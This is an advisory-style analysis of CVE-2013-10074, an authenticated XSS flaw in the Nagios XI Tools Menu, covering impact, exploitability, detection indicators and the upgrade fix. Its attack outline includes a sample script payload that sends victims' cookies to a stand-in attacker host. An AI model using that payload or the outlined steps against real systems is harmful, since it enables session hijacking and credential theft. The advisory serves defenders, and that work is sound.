CVE-2013-10074: 
Nagios XI vulnerability analysis and mitigation

CVE-2013-10074 is a cross-site scripting (XSS) vulnerability in Nagios XI affecting all versions prior to 2012R2.6. The flaw exists in the Tools Menu of the Nagios XI web interface, where insufficient validation or escaping of user-supplied input allows an attacker to inject and execute arbitrary scripts in the context of a victim's browser. The CVE was published on October 30, 2025, and assigned by VulnCheck. It carries a CVSS v3.1 base score of 5.4 (Medium) (Red Hat CVE, VulnCheck Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). User-supplied input passed through the Tools Menu of the Nagios XI web interface is not properly sanitized or escaped before being rendered in the browser, enabling script injection. Exploitation requires the attacker to have low-privileged authenticated access to the Nagios XI interface and requires a victim user to interact with the malicious content (e.g., by visiting a crafted URL or page). The attack vector is network-based with low complexity (VulnCheck Advisory, Red Hat CVE).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within the Nagios XI web interface. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and potential exposure of sensitive monitoring configuration data. The impact is limited to confidentiality and integrity at the browser/application level, with no direct availability impact (Red Hat CVE, VulnCheck Advisory).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2013-10074. The EPSS score is approximately 0.34%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access with low privileges and user interaction, which limits the practical attack surface (Red Hat CVE).

1. Reconnaissance: Identify a Nagios XI instance running a version prior to 2012R2.6 that is accessible over the network.
2. Authentication: Log in to the Nagios XI web interface using a low-privileged account.
3. Locate the vulnerable input: Navigate to the Tools Menu within the Nagios XI web interface and identify input fields or parameters that are reflected in the page output without proper sanitization.
4. Craft XSS payload: Construct a malicious script payload (e.g., <script>document.location='http://attacker.com/steal?c='+document.cookie</script>) and inject it into the vulnerable Tools Menu parameter.
5. Deliver to victim: Trick a higher-privileged user (e.g., an administrator) into clicking a crafted link or visiting the manipulated page, causing the injected script to execute in their browser context.
6. Harvest results: Collect session cookies, credentials, or other sensitive data exfiltrated by the injected script (VulnCheck Advisory).

• Network: Unexpected outbound HTTP requests from a Nagios XI user's browser to external or unknown domains, potentially carrying cookie or session data in query parameters.
• Logs: Nagios XI web server access logs showing unusual GET/POST requests to Tools Menu endpoints containing encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=).
• Logs: Browser-side console errors or unexpected redirects logged in web proxy or SIEM solutions originating from Nagios XI pages.
• File System: No direct file system artifacts expected for a reflected XSS; however, stored XSS variants may leave malicious content in Nagios XI database records associated with Tools Menu configurations.

Nagios has addressed this vulnerability in Nagios XI version 2012R2.6 and later. Administrators should upgrade to version 2012R2.6 or any subsequent release to remediate the issue. As an interim measure, restrict access to the Nagios XI web interface to trusted networks and authenticated users only, and consider implementing a web application firewall (WAF) to filter XSS payloads. The Nagios XI changelog documents the fix (Nagios Changelog, VulnCheck Advisory).